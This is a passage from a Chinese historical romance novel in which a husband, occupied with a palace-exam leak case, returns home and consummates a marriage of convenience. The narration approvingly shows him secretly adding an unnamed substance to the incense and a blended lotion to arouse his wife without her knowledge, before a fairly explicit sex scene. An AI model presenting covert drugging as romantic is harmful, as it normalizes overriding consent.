他人虽然没有回来,却给她带了不少宫内御膳房的糕粥小食,真是好吃的,祝吟鸾不知不觉竟全吃完了。 怕提祝家的事情影响祝吟鸾用膳的胃口,特地等祝吟鸾吃完,随从才道, “世子爷还说昨日的事情他已然知晓了,他让属下转达,对付祝家那边,您想怎么做就怎么做,不必顾及什么,凡事一切他会给您撑腰兜底。” 闻言,正在漱口的祝吟鸾顿了一会。 随后才道,“嗯。” “少夫人若无旁事,属下便退下了。” 祝吟鸾道等一下,她让明芽把包好的细软递过去,“近来天凉,烦你叮嘱夫君要注意些,别招了寒气。” “您放心。”随从接了细软,保证一定会交到沈景湛的手上。 不得不说,有了沈景湛这么一句话,祝吟鸾的确是宽慰了不少。 她昨日还担心拒了朱夫人的拜帖,若出事该怎么收拾? 就算是碍于沈家威慑,朱夫人明面上不闹,私下里……恐怕不会善罢甘休的,只是不知道朱夫人会做些什么。 沈景湛这么说了,她也就不怕了。 用过早膳,她去探望沈老太太,继续帮沈老太太揉捏.穴.位。 昨日祝吟鸾做得好,今日沈老太太见她来了,倒不推辞。 这一整日,祝吟鸾的午膳晚膳都是在沈老太太这边用的。 夜里也是她先睡,跟前几日一样,沈景湛很晚才回来,白日里不见人。 这一忙碌,竟过了快小半个月。 祝吟鸾从沈老太太那边回来的时候,看到内室坐着品茶的清俊男子,竟觉得有几分恍若隔世的陌生。 “夫…夫君?”她不太确定是不是他。 实际在她出声试探之前,男人已经听到了她的脚步声率先转了过来。 “鸾儿回来了。”他放下未喝完的茶,温柔笑着过来迎接她。 听到这句话的祝吟鸾,感觉好奇怪啊。 她不过就是去了沈老太太那边,一直都在家的,他分明才是正儿八经从外面回 来,怎么是他先开口说她回来了? “夫君用过晚膳了吗?” 几日没有见沈景湛,他骤然站到她面前,迎接她,拉着她的手,居高临下看着她的脸。 她的手被他的大掌包裹着,触及男人掌心的温热,祝吟鸾觉得紧张了。 他的手掌看着修长匀净,骨节似竹如玉,但指腹粗砺,摩挲之时,会磨到她。 祝吟鸾平静稳定了许久的心忽而又浮起隐隐约约的颤酥,密密麻麻的痒意随之窜起来。 她想到了一些前不久发生的事,和他对她说过的……一些叫人难以启齿的话。 “还没有。”沈景湛牵着她往里面走。 一见两人亲密,小丫鬟们非常有眼力见退出去,甚至都不用祝吟鸾特地吩咐姣惠和明芽做饭菜来。 一时之间,就只剩下两人在内室了。 外室虽然还有小丫鬟们在,但总归隔着珠帘玉幕,屏风香炉。 祝吟鸾借着倒茶水的功夫,趁机把她的手从沈景湛的大掌当中抽了出来。 沈景湛看着她手回去的手,自打一进门就躲闪垂着不敢看他的小脸,唇角微微勾起。 祝吟鸾自然不止给她自己倒了茶水,沈景湛的她也倒了。 于是两人默默无声喝着茶水。 怕他又牵她的手,祝吟鸾这杯茶水喝得无比缓慢。 期间,她一直察觉到沈景湛的目光,停留在她的身上。 也不知道他在看什么? 祝吟鸾想要问他了,可抬眼对上男人幽深无比的眸子,她竟没了想问他的勇气,索性接着低头吃她的茶水。 小丫鬟手脚很快,晚膳没一会就端上来了。 祝吟鸾听到明芽说备办好了,在心里直呼一口气,她如释重负般放下茶水,“夫君随我一道去用膳吧?” 沈景湛也搁下茶盏,“嗯,好。” 他跟在她的后面慢走,瞧着她挽起乌发后露出的雪白颈子。 祝吟鸾视线往下垂,看到两人的影子在烛火的照耀下重.合。 他宽阔的身形“控”着她,影子一旦重.叠,她的身形便隐匿了。 若只是看着影子,好似她被他抱到了怀里,无分彼此。 祝吟鸾心里一热,“……” 即便是在沈老太太那边用过了晚膳,祝吟鸾依然陪着他用了一些,只不过吃得很少很少。 沈景湛边用膳边跟她说话,分明每日都有随从汇报,替两人递话。 可他还是问她这几日在家里都做了什么,闷不闷? 平白坐着用膳太过静谧,祝吟鸾也一一回了,跟他话着家常,说她这些时日一直在沈老太太身边,帮她抄录佛经,给她捏腿捶肩。 “累不累?”沈景湛问她。 “不累。”祝吟鸾摇头。 沈景湛在这时候往她的碗里夹了一只鸡腿。 祝吟鸾想说吃不下了,可还没开口呢,沈景湛竟道,“酱卤鸡腿味道不错,鸾儿若是吃不下尝个鲜就好。” 他这是叫她不必.硬.撑着吃完了? 祝吟鸾不喜欢浪费粮食,她打算慢吞吞吃这只沈景湛夹过来的鸡腿,一直到他用膳结束。 可没想到她吃了一两口,速度慢下来之后,他竟说她若不想吃就不吃了,可以给他。 他吃她吃过的鸡腿? 虽然她并没有全都吃了,可到底是放在她碗里了。 旁边还有小丫鬟,人前亲密未免脸红耳热,祝吟鸾忙说不用,“我可以自己吃完的。” 怕沈景湛又说帮她吃剩下的鸡腿,她连忙转移话茬,“祖母前些时日跟我提了一件事情。” “何事?”沈景湛知道她要说什么,却还是在问。 “祖母说二房叔叔婶婶家的显哥儿,被外派去了千里之地的边境做县令,许久没回了,让我问问夫君,看看夫君能不能得知他这调令得任多久?” 沈老太太说话一般都很有深意。 祝吟鸾猜测沈老太太是想把这个沈家子弟给调回来,但不好直接找沈景湛开口,这才让她拐着弯让她跟沈景湛传话问询。 沈景湛看了她一下,祝吟鸾回望着,她攥紧了银筷。 “这调令时日的长短,要看沈嘉显外任的表现如何。” “沈家子弟缺乏历练,二房里面就是他最桀骜不驯,恐怕还要些时日。” “鸾儿这样回了祖母就是。”沈景湛发现她不说话了,银筷慢吞吞点着鸡腿的皮,接着把她碗里没吃完的鸡腿夹走。 祝吟鸾哎呀一声,还没开口问他做什么夺她碗里的食物。 沈景湛已经解决了那只鸡腿,她只能哑然,“……” 他不嫌她吃了一半吗? 怎么还吃得那么恣意?甚至她从男人的动作神色品出了他的大快朵颐? 好诡异。 按理说,沈景湛贵为沈家世子,应当不会短缺这点粮食? 祝吟鸾的注视里含着浓郁的不解,他轻笑道,“一食一物皆来之不易,不该铺张浪费,鸾儿说是不是?” 她当然知道了,可他为何在这个关口笑着问她? 祝吟鸾还能说什么,只能声若蚊蝇,“…嗯,是。” 她不吃了,直接放下了银筷。 坐着看眼前的空碗,等着沈景湛吃。 他应当是饿了。 吃得慢条斯理,却比往日要多些。 现如今在沈家,祝吟鸾也听到了不少朝廷上的风声。 听说这次的殿试泄题案,竟是从太尉那边流出去的。 太尉可是一等一的高官,真正意义上的德高望重,先帝在时就已经参.政.了。 难怪皇帝要叫沈景湛去。 太尉也是沈景湛的老师啊…… 涉及师长,这件事情听着都不好处理,难怪沈景湛忙得脚不沾地。 如今沈景湛既回了,事情都解决了吗? 她在心里想着,却没有问。 “祖母的身子骨好了许多,都是鸾儿的功劳。”他道。 “都是我应当做的。” 这些时日跟在沈老太太身边也熟稔了一些,虽然没有彻底融入沈老太太的眼里心里,到底沈老太太对她宽和不少。 只能慢慢拉近关系了,祝吟鸾盘算着。 沈夫人之前说让她跟着听账管家,但因为癸水突然造访,她又去沈老太太跟前伺候,这时日沈夫人没提这件事情了。 听明芽说,娶亲收到的贺礼已经清点完了。 沈夫人整日里也很忙,今儿要去国公夫人家的宴会,后日得吃督察司媳妇孩子的满月酒,又是襄王妃嫁女…… 总之,这些时日基本碰不到沈夫人。 除非沈夫人去找沈老太太,两人才会在那地方碰面。 她碰见府上姨娘的次数都要比沈夫人更多些。 那些姨娘经常邀约她去院子里坐坐,祝吟鸾怕应酬,都用要伺候沈老太太的借口推了。 除此之外,祝家也没什么动静了。 自从那日以后…… 谁知她刚想到这个,沈景湛居然跟她说前不久祝大人找了他。 “他找你做什么?”她紧张之余,没叫夫君。 沈景湛搁下碗筷,拿帕子擦嘴。 边净手边跟她说,“祝大人想让我帮祝大公子在三省谋个实在的官位。” 找沈景湛在三省帮祝鸣生谋官位? 那可是三省啊! 若是被人发觉弹劾岂不是找死吗? 祝吟鸾追问,“你答应了?” 她虽然还没说让沈景湛不要答应,但小脸之上的神色意味已经足够明显了。 “还没有。”沈景湛擦了手,带着她往外走。 去了后.庭的小花亭说话散步说话。 祝吟鸾捕捉到一个还字…… 顿了一会之后她直言,“你不要答应他的要求。” “他这是在害你!” 祝吟鸾都 不知道她那冷心薄情的父亲究竟哪里来的那么大脸,竟然直接找到了沈景湛,开口让他给祝鸣生在三省谋官位? 这是拐着弯害她,害沈家吗? “鸾儿放心,我明白你的意思,我会妥善处理的。” 他说得比较好听,祝吟鸾没懂,她还在担忧。 若是沈侯爷在此,定然知道沈景湛这话里究竟是何意味。 什么妥善处理? 分明是在说他会好好收拾这些人的。 只可惜祝吟鸾并不清楚,她忍了忍还是决定开口“殿试泄题的事情才出,陛下让你去处理这件事情,朝廷当中必然有很多人盯着你,你要……小心一些。” “祝家那边也不是我不信你,而是……” “嗯,我都明白。” 他停下脚步,朝她伸手。 祝吟鸾不防备,下意识要躲的时候,沈景湛已经收回手了,原来是凤凰木的花叶吹拂到了她的头发上,他帮她取下来。 “……” “鸾儿担心我,我都知道。”男人轻笑。 祝吟鸾看着他被月色和琉璃灯拢着住的俊颜,眼神又开始移动漂浮。 沈景湛归家的消息,竟然传到了沈夫人的耳朵里? 祝吟鸾没想到她在沐浴的时候,姣惠进来跟她说,外面有老妈妈过来了。 “是婆母和祖母身边的人吗?” 消息怎么那么快? 沈景湛归家,她也是回来才知道的,沈家院大,沈夫人消息好灵通。 当然不是了,这不过就是姣惠应上头要求去找来的老妈妈,虽然也在沈夫人那边伺候,却不是内院的人。 这边的人看出门道,谁敢多说? “奴婢看着是的。”姣惠睁着眼睛说瞎话。 祝吟鸾很相信她,并没有起疑。 她沉默着,明芽却很高兴。 给祝吟鸾擦香露的时候低声道,“小姐要多多跟世子圆房啊,这说不定就有孩子了呢?” 且不提圆房的事情。 她在卫家几年都不能怀,身子想来是怀不上了。 如今跟沈景湛,怎么会有呢? 何况她跟他还没有圆房。 圆房…… 先前她与他吻得深入,她想要沈景湛更进一步,却来了癸水。 如今还以为冷了那么小半个月,沈夫人那边不会派人来了。 她也歇了心思。 但……真的歇了心思吗? 想到男人方才来迎她时,他的大掌包裹她的手,指腹的粗砺摩挲着她的手背。 那时候泛起阵阵痒意,思及此,祝吟鸾的手指也下意识蜷缩了起来。 ……他用长指帮过她许多次。 这澡泡得有些许口干舌燥。 “明芽…你给我拿些水。” 明芽不知她在想什么,连忙点头去拿。 祝吟鸾捧着杯盏喝了,却没觉得有什么缓解之处。 没有缓解就算了,她还觉得燥热。 想到他吻她。 他身上壁垒分明的腹肌摸起来的感觉。 实在是太结实了,她匍匐撞入他的怀中,被他抱着的时候。 她垂眼所见的春景,会受不住强劲的风力而变幻莫测… 第50章 第50章圆房了。 不疼,但会跟他抱得严丝合缝。 想到这,脑中滑过那些春景弥漫摇曳的画面,她登时都不敢再垂眸看着她自己的身体,急急忙忙挪开视线。 看的时候,总忍不住想到沈景湛的手,在她身上作乱,心里的感受怎么都克制不住。 即便是不看了,闭上了眼睛,那些画面依旧无法克制钻出来。 她都不知道自己是怎么了? 前些时日都平静无波,今日沈景湛才回来,也没有做什么啊,只是牵了牵她的手而已…… 她竟然胡思乱想这么多。 她泡着澡竟然觉得燥热,祝吟鸾把茶盏递给明芽,“今日炉子里燃的什么香?” “就是往常用的的香啊,小姐您怎么了?”明芽觉得奇怪,“您的脸好红,莫不是哪里不舒坦?” 祝吟鸾忙摇头,“没、没有。” “是……太热了,你把窗扉打开些。”祝吟鸾用手扇着她面上的燥热。 是她太紧张出现了幻觉吗,总感觉今日熏炉里的香,要比往日更…浓郁? 可明芽说不是,跟往常一样的。 或许她不应该喝热茶,该吃冷的。 祝吟鸾往熏炉那地方看去,隔着屏风见到一抹落拓高大的身影。 是沈景湛吗?他已经这么快就沐浴好了? 他在熏炉边做什么? 莫不是他也觉得今日的熏香有些浓郁?熏得人忍不住胡思乱想。 祝吟鸾想问,又怕沈景湛过这边的浴房来,若是他看到她红润的脸色,猜出她在想什么,这可怎么办? 他洞察人心的本事,她可是完完全全见识过很多次的,一猜一个准,更别提他说话还无比直接了。 所以她没有开口,也没有再往外看去。 自然也就错过了男人摩挲指尖,往镂空熏炉掉落了不知名香料的小动作。 沈景湛垂眸看着熏炉升起的丝丝缕缕,眸色深沉如黑潭。 祝吟鸾觉得燥热,她就没有接着泡,裹了衣衫出来。 明芽还在给她擦香露。 祝吟鸾觉得好香,让她别擦了,“适才泡着澡的时候不是已经擦过了吗?” “小姐,您没仔细看,不一样的。”明芽把香露罐子放到她的面前。 “哪里不一样?”明芽打点内事妥帖,祝吟鸾平日里少留意这些,只觉得香露罐子是一样的。 “这是世子爷身边人拿给姣惠的,说是宫内妃子们才有的贡品。” “世子爷这些时日办公务妥帖,陛下问他要什么赏赐,他说若可以,想要些女儿家用的香露香料,除了这个香露,还有旁的熏香,都收起来了,您要不要这会子看看?” 原来是沈景湛为她要的新露新香,难怪觉得味道更浓了一些。 就算是面子上的功夫,他也真是有心了。 陛下许他赏赐,他竟然为她求这些? “明日再看吧。”这会她没心思。 “好。” 明芽还在祝吟鸾的耳边叽叽喳喳,说这香露的好处,用多了肌肤生香,嫩滑无比。 祝吟鸾垂眸听着。 “……” 没一会,沈景湛从书房过来,明芽也为她收拾好了,吹灭了烛火带着小丫鬟们下去。 内室变得无比静谧。 祝吟鸾跟在沈景湛身侧走着,两人越是靠近床榻,她的心下越是跳厉害,她都觉得沈景湛跟在她的身边,会不会听到她如雷般的心跳声呢? 那股口干舌燥的感觉久久不散。 她想要喝些茶水,又觉得腹中微热,还是不喝了吧? 快要到床榻边沿之时,沈景湛忽而停下。 祝吟鸾一顿,她的紧张不曾消散,甚至主动开口,问他这是怎么了? 忽然停下来? 沈景湛看着她,好一会道,“鸾儿身子不舒服吗?” “嗯?” 她仰着小脸,有些怔愣。 一双眸子仿佛浸满了水,清纯无辜,润透到人心里去。 内室烛火只留了一小盏,看着无比昏暗,可沈景湛还是在她的眼中看到他的身影。 “鸾儿的脸很红。” 不止是她的脸,还有她的耳尖,细颈,都浮上了淡淡的粉色。 “是不是哪里不舒坦?” 他明明知道她是因为吸入了香料和用了调和过的香露才会这样,却仿佛毫不知情般担忧关怀她。 “我……没有。” 祝吟鸾抬手摸了摸她的面颊,的确是有些烫。 真的很红吗? 光线如此昏暗,他居然都看出来了。 “要不要喝些茶水?”他问。 祝吟鸾也还是摇头。 “…我们歇息吧。”怕沈景湛又问,她打断了他的话茬。 “好,若是鸾儿不舒坦告诉我。” 躺下之后,祝吟鸾的心还是跳得好厉害, 沈景湛就躺在他的身侧,她闻到沈 景湛身上淡淡的清冽的味道,不知道为何,竟让她身上的燥热有所缓解。 她想要靠近他。 想要碰碰他,想要他亲她。 原本已经压下去了的有关那些绮丽的念头,不知不觉当中又漂浮过来了。 之前还担心沈景湛回来之后,沈老太太和沈夫人派人来听墙角,沈景湛继续与她亲密的话?她要怎么回避? 尤其是那一日两人床头夜话了许久,他说…… 既然喜欢不必回避。 总之她不欢喜他这个人,只是欢喜他的身体,那就没事了。 这个念头冒出来之后,她竟然好似为自己的燥热找了借口。 是啊,她又不喜欢他,行房和情.爱是可以分开的。 她只是喜欢和沈景湛做这件事情,并不是喜欢他这个人。 她的身子骨不好,受孕很难,连避子汤都不用喝。 祝吟鸾清醒的意识渐渐被心里的燥热压过了,她不断为她自己渴望跟沈景湛亲密的念头找借口,说服她自己。 她平躺着,脑中的思绪繁乱.交.杂,还以为没什么动静,沈景湛就不知道她在想什么,却不清楚她繁乱的呼吸早已经出卖了她。 布下天罗地网的猎手,早就置放了诱饵。 等着她受不住诱惑,自投罗网,走入他的围困当中。 经过几息,祝吟鸾真的觉得难受。 她想跟沈景湛亲吻,可他怎么不动呢? 难不成经过这些时日的冷静,他反悔了,不允许不认同他之前所说的,行房与喜爱分开,行房只要欢愉就可以做的事情了吗? 祝吟鸾一直在等,沈景湛还是不动。 她实在是迈不过那一步。 毕竟她一直在回避他,那日还跟他说了人前不要太亲密。 可想着想着,脑中又钻出了一个念头,那日说的是人前,眼下是人后啊。 心中已然蠢蠢欲动得越来厉害,祝吟鸾依然不敢越雷池。 她的意识越来越清醒,毫无睡意。 沈景湛会不会歇了? 他不知道今日外面有人过来偷听墙角吗? 思及此,祝吟鸾想着或许可以以此为借口问问他,可没想到,她心一横准备开口之时,沈景湛竟然开口了。 “鸾儿。”他叫她的闺名。 男人的声音磁沉,在静谧的夜里响起,无端透露出性感。 真的只是一声而已,祝吟鸾的心却颤了一下,“…嗯?” 听出枕边人话语的黏音,男人的眼底划过一丝笑意。 “母亲和祖母似乎派了人来。” 他终于察觉到了这件事情。 祝吟鸾心里漂浮跌宕的大石头总算是落地了,她无比庆幸,总算不要她开口去说这件事情了。 虽然方才一鼓作气真的要说了,可面对沈景湛,她还是……张不开口。 主要是眼下这口气已经松了,她在庆幸着。 庆幸他开口了,庆幸他没睡。 “嗯,适才…姣惠派了人来告知我。”她尽量促使自己回话的语调平稳。 小狐狸自以为回话的语调平稳,毕竟她应对那些长辈很多年了,早已炉火纯青,沈景湛听不出来破绽吧? 但忘了,躺在她身侧的男人可是掌中书令的大人。 便是御史台的谏官都论不过他的口舌,他还时常往返刑部,不知审过多少棘手的犯人。 怎么会看不出来她隐藏之下的忐忑。 接下来两人都没有再说话,祝吟鸾在等着。 就当她又被煎熬折磨的时候,男人动了。 他掀开锦被,往她这边过来。 清冽的气息浮了过来,祝吟鸾感觉到她的燥热微有缓解,但还不够。 他离着她越来越近了。 没有揽着她的腰肢将她整个人给带过去,而是撑着手掌,在她的上面。 男人的视线完完整整包裹着她。 祝吟鸾一瞬间既害怕又诡异的期待,甚至忽略了一股熟悉,因为她无暇想太多了。 她的心跳动起来,呼吸也忍不住快了些。 即便是克制压抑了,胸脯因为她的紧张叶动着,“……” 沈景湛观察着她羞羞怯怯的脸。 她都不敢看他了,长睫抖动,手腕还是隔绝在两人的中间。 看似要推着他了,但用的力气很小,说是要推着沈景湛,更像是紧张到攥成拳头而已,是她的自我保护。 男人轻柔的吻落下来的时候,祝吟鸾心里长舒一口气。 密密麻麻的吻落到她的脸上,像一场绵密的春雨,落到她的脸上。 渐渐的,她竟觉得这样的吻已经不够了,闭着眼睛去追逐男人的薄唇。 可没想到,才追了一会,竟然追不上了。 她仰着小脸,细颈和身子。 碰不到他的薄唇,便睁开了眼睛。 沈景湛的眸子太过于深沉了,看着她有些害怕,心里想与他接着亲吻,但身子却下意识往后躲去。 她躺在男人的怀中身下,还能够逃到什么地方去?都是无用功罢了。 两人之间都没说话,祝吟鸾实在是扛不住沈景湛的目光了,想叫他不要看了,她刚要开口,男人直接吻了下来。 这一次,他没有刚开始那么温柔。 携卷着凌厉,祝吟鸾在他施加力道的风里低低发出声音来。 外面的小丫鬟们听着里面的动静,真觉得两人还真是如胶似漆啊。 世子爷忙碌朝廷的事情几日没有回来,今儿方才到呢,夜里便带着世子妃行周公之礼了。 且今日起的动静比往日还要早,比前些时还要更厉害。 不得不说,世子妃哭得也太娇了,听得人心痒。 她似乎还在求世子爷不要亲得太重,不要亲什么……? 声音太小了,实在听不清楚。 祝吟鸾的确在求沈景湛,她让他不要亲下去。 她捏着他的臂膀,眼泪珠子悬在粉腮上,黏黏糊糊跟他说话。 “为何不让亲?”男人的声音染上嘶哑越发磁沉。 祝吟鸾还是那句话,“不干净。” 怎么能亲呢? “很干净。”沈景湛道。 “鸾儿身上很香。”他说这句话的时候,还吻了吻她的面颊。 修长如玉的手也往下隔开她阻挡的手指。 两人在接吻,可手却在互相交锋。 祝吟鸾抗拒男人大掌的动作很明显,也很认真。 但因为她的手太小了,哪里争得过他,没一会就被他吻得气喘吁吁,手也被他捉住了。 男人捏着她的手腕,将她整个人的手束缚住了。 她用腿去蹬他,脚踝也被他隔着被褥给压住。 在这场交锋中,她输掉了。 祝吟鸾问他为何要亲? “怕鸾儿受不住。”他给了准话。 随后径直吻上芳泽。 祝吟鸾还没来得及接话,便要承接别的感受了。 这不同以往,不仅仅是身上的感受,还有心里的感受。 往前虽然沈景湛也为她俯首过,但不一样的。 这是真真正正的低头。 他在吻她嫁过人,与旁人有过亲密之地。 在沈景湛的动作之间,祝吟鸾切实体会到了他不嫌弃她嫁过人。 他是真的在接受她。 她忍不住随着他的一举一动而哭出声来,不只是因为松懈了心房,还有难以言说的舒愉。 她先前一直觉得自己低入尘埃。 出身不好,又无依靠。 沈景湛是谁?他位于京城公子之最,不仅权柄在握,长相更是郎艳独绝。 就是这样一位全京城贵女的春闺梦里人,却低头为她吻悦。 祝吟鸾垂眸,隔着朦胧的泪眼看到男人出众的长相。 简直觉得梦幻。 可窜到骨缝里的酥.麻又让她清楚,这不是梦。 因为若是梦的话,感受不会如此的清晰。 眼角噙泪的那一会,祝吟鸾回忆起了她做的一个梦。 她在梦中被“欺负”,但梦里的 那个男人比沈景湛要凶狠很多,她常常受不住而逃走。 想到这,在差不离的感受当中,她忽而惊觉,自从嫁给沈景湛以后,好似许久没做那个梦了。 她的思绪很散很乱,在他袭来的一瞬间,彻底松放。 蜷起来的足趾在绷了许久之后松开。 她悬挂的眼泪也掉了下去。 可这只是刚开始。 男人起身,抬手拂却她脸上的泪珠,吻了吻她哭红的眉眼。 这时候也还记得照顾她的感受,问她还好吗?有没有哪里不舒坦? 祝吟鸾本来羞于回答,但沈景湛一直在等她的答案,她只能点头轻声说嗯。 沈景湛笑了一下,啄吻她的唇瓣几口。 再然后祝吟鸾感受到了真正的危险逼近了。 她下意识一顿,心里真的慌张起来,但她没有退却,因为渴望占据着害怕的上风。 “可以吗?”到了这个地步,男人还在问。 祝吟鸾咬唇,轻轻点头。 “那我要开始了,鸾儿。”他低喃她的名字,替她拨开脸上的头发。 祝吟鸾别过小脸,躲避他的指尖,在沈景湛亲吻她的过程中,她也感受到了属于她自己的气息。 “别怕。”他还安抚着她。 沈景湛仿佛还在犹豫般在春山之外的溪流往返。 祝吟鸾都忍不住哭了。 她攥捏着他的臂膀,没一会…… 小丫鬟们听到了娇锐的哭颤声。 原要守着规矩的,却忍不住抬头看去,随后个个面面相觑。 虽然说小别胜新婚,但世子爷和少夫人未免也太……胜新婚了吧。 这比洞房花烛夜都还要闹腾得厉害啊。 先前少夫人虽然也哭泣婉转,但声音从来没有那么大,没有那么激昂。 在外面守着的小丫鬟们从震惊,感叹到接受,再到习惯。 天色已经蒙亮了,里面才传出来要水的声音。 明芽领着人进去,小丫鬟们都忍不住为两人之间的战况而惊讶,但谁都不敢多话,也不敢露出丝毫的声音。 “……” 沈老太太今日等了一会没见祝吟鸾,刚要打发人去问。 身侧的老妈妈禀告说昨日沈景湛回来了,两人闹了许久,今日恐怕是不能过来了。 年轻人血气方刚,沈老太太自然能够理解,没说什么。 用过早膳之后,让老妈妈拿了一些补品给祝吟鸾送过去。 沈夫人听说了这边的事情,也给祝吟鸾送了。 这一觉睡到夜里,祝吟鸾醒过来的时候,看着昏黄的烛火,还以为是在梦里。 可她一动,身上的酸痛将她混沌的思绪给拉了回来,让她渐渐想起昨日夜里究竟发生了什么事情。 昨日她和沈景湛假戏真做了。 虽说是假戏真做,但…… 祝吟鸾都不知道她自己在沉思走神些什么。 “小姐,您醒了?”明芽最先发觉,连忙过来叫她。 扶着祝吟鸾起来的期间,把沈夫人和沈老太太送东西过来的事情跟她说了,还跟她报备沈景湛的去向。 说他被沈侯爷给叫走了,一直在书房还没有回来呢。 “嗯。”祝吟鸾小心翼翼爬起来。 “小姐的体力似乎差了许多。”明芽说她先前都不会这么累,睡了许久不说,走路都发颤了。 “老太太和夫人送来的人参,奴婢已经叫人炖上了,您饿不饿?” 祝吟鸾的脸很红。 她心知肚明是为了什么。 她和沈景湛之前根本就没有圆房,不过就是伪装,自然不会这么疼。 现如今是因为…… 一想到昨日,她的脸越发红了。 “有些饿。” 明芽见她羞,也没有继续打趣了,“奴婢伺候您梳洗,马上就可以用膳了,世子爷吩咐了,若您醒来,他还没过来,便让您先用膳。” “公爹找夫君有什么事?” “听说是为了朝廷的事情,对了,今日您睡着,那太尉小姐上了门呢。” 太尉小姐? 沈景湛老师的女儿,他的青梅竹马? 祝吟鸾没说话,明芽接着跟她道,说是沈夫人接待的。 她不清楚是为了什么事情,“临出门之前姚小姐的眼睛红红的。” 听罢,祝吟鸾猜测很有可能是为了太尉的事情? “小姐?”明芽见她失神,还以为她担忧,“您别怕,今日世子爷没有跟这位姚小姐见面。” 想说她根本就不担心,但…明芽现如今好似已经忘了她和沈景湛本就是利益结亲的事情。 解释起来麻烦,祝吟鸾便没有多说。 晚膳已经摆上了桌,沈景湛还是没有回来,祝吟鸾实在是饿了,既然他也事先说了,便没有等他。 在她快要吃完的时候,听到门口传来声响。 沈景湛回来了。 他步履匆匆,抬眼之时,目光直直看向她,俊逸的眉眼温柔含笑,声音同样也很温柔,“鸾儿。” 她用膳的动作顿了一下,“……” 被他这么看着,温柔缱绻叫着闺名,祝吟鸾隐约之间又不自然起来了。 他怎么做戏都做得那么好? 若非她知道内情恐怕要被他欺骗过去。 可就算是她知道内情都要抵挡不住沈景湛的“温柔”,别提不知情的沈家人了。 想到昨日的抵死缠绵的旖丽,祝吟鸾轻咳一声。 “夫君回来了。”她让膳房再炒一些菜。 沈景湛却道不用,“在父亲院里吃了一些。” 他坐到祝吟鸾身侧,见她吃了不少,笑着道,“鸾儿往日里的胃口都不好,合该像今日一般。” 不知男人话里有没有深意,总之她神色之上的不自然久久难以消散。 要怎么说她是因为昨日被折腾得太过,所以太累了? 祝吟鸾自然是不会说。 沈景湛说是吃过了,却也陪着她动筷。 在此期间,祝吟鸾看着男人的俊脸,忽而察觉时景美好平和。 好似在无形之间,过上了她想过的日子。 在卫家之前不曾过上的,如今在沈家竟然过上了? 沈景湛在御前效力,可以说日理万机,他却事事报备,不论多忙都回来陪她歇息用膳。 卫如琢却做不到,他能比沈景湛更忙吗? 祝吟鸾任由思绪转着,胡思乱想,“……” 她也不知道,怎么会拿卫如琢和沈景湛比较? 卫如琢压根比不上他。 “鸾儿在想什么?”他问她吃饱了吗? 祝吟鸾颔首,“快了。”她已经吃了许多,眼下就想喝喝热汤。 沈景湛忽而问她,“身上还疼不疼?” 祝吟鸾一顿,面上微热。 想叫他不要问这个,但小丫鬟们都已经听去了,此刻让他不要讲,无异于欲盖弥彰,倒叫人看出她的不自然来。 “……不疼了。” 她竭力维持着脸上的淡然,不想被人发觉她已经羞了。 实际上还是疼的,腰酸腿酸。 沈景湛说,“昨日赖我不好,过分了一些,你歇息之后我给你上了药,也不知道你现下好不好,便想问问。” “我好多了。”祝吟鸾道。 回想昨日,起初受不住他的过人之处,但他温柔。 渐渐的,也品出了愉悦。【你现在阅读的是 】 50-60 第51章 第51章没想到会叫她哭出声来……… 尤其是她渐渐适应了之后,声音也变得无比婉转。 往前沈景湛亲她,用手帮她的时候,她便听过她发出语调的婉转悠扬,可没想到竟然还能够这么娇,这么颤…… 简直陌生到了,她自己亲耳听到了都难以相信的程度。 可又切切实实是从她的嘴里发出来的。 她的声音受制于沈景湛的动作。 他若是重了,她便要更娇得厉害,时不时还抽泣两声,若是轻了,也能微微喘口气…… 沈景湛不仅是身骨过人,更重要的是他很会照拂她的感受,时常观察她的反应。 与他行房,除却难以忍耐的羞赧,她还感受到了从未有过的畅快和舒愉。 是的,昨日行房下来,一开始她因为无法接纳而抽泣,实际上基本上都是舒爽的,后面哭得厉害也不是因为疼痛,而是被他取悦.爽.了。 先前她便知道和沈景湛亲吻舒服,与他行房或许会更舒服,但没想到会这么舒服,会叫她哭出声音来。 一想到这些春色弥漫的画面,祝吟鸾喝汤的动作都慢了下来。 她的后颈也慢慢爬上一些淡淡的粉色,小丫鬟们不敢多看主子们,自然不知道她的反应。 坐在她身侧的男人却洞悉一切,“” 祝吟鸾还在想,沈景湛如此照顾她的感受,她也想问沈景湛,他愉悦吗? 昨日的她实在是太羞了,几乎不敢怎么看。 手指捏着被褥,整张脸埋在被褥里不敢往他的身上脸上瞧一眼,全程只听到男人性感磁沉的喘.息声。 沈景湛的声音本来就好听,染上了情.欲之后之后,钻到人的耳朵里,更叫人受不了。 祝吟鸾昨日听着他的喘.息,骨子里都泛着酥麻意,再加上他有意无意的“取悦”,她感觉她整个人都化成了一滩水。 曾经在她梦中出现过的春山崩溃的景,最终还是真实发生了。 春水弥漫在内院幔帐当中,就像是下了一场好大的春雨。 “鸾儿是不是太累了?”沈景湛说她一直在走神。 祝吟鸾立马回魂,“没有就是今日睡多了。” “一会我陪鸾儿在后院走走。” 他在等她吃完。 祝吟鸾想说不用,毕竟听明芽说沈景湛很早就起来去忙碌了,他也应该累了吧? 可对上他温柔含笑的面庞,祝吟鸾还不曾开口就知道沈景湛定然是要陪着她的。 自从嫁到沈家以后,沈景湛便很少放任她一个人,除非是有脱不开身的朝廷事。 用过晚膳,祝吟鸾跟着沈景湛绕去假山水榭那一边漫步。 今日的月亮,圆得似中秋之月,照在莲池里,映出池水的波光粼粼。 晚风习习吹拂,隐约之间又有几丝夏的燥热伴随其中,但不叫人难受。 祝吟鸾没有说话,她身上酸疼,但还是可以忍受,这样慢吞吞走一走,也可以缓解一二。 瞧出她不自然,沈景湛伸手过来说要牵她,可祝吟鸾道不用了。 说是不用,他依然伸手小心揽着她的腰身,虚虚护着她。 走了没几步,沈景湛转而跟她提起朝廷上的事情,是前些时日他在忙碌的殿试泄题案。 很快,祝吟鸾就知道沈景湛为何要跟她说这件事情,因为他道这些时日家中恐不太平。 起初听到不太平三个字,祝吟鸾的脚步越来越慢,她转头去看沈景湛,眉心微蹙,朝他身上投去担忧。 他道,“殿试泄题案牵扯的人多,加之陛下有意更换朝廷士族受荫封的官员,便处置了一批人,官位空缺之后,下面的人想要往上提拔,自然蠢蠢欲动了。” 期间,他没有提到太尉,也没有提到沈家。 祝吟鸾心里想起明芽说的太尉之女上沈家门,以及祝大人找他,让他帮忙给祝鸣生谋一个官位的事情。 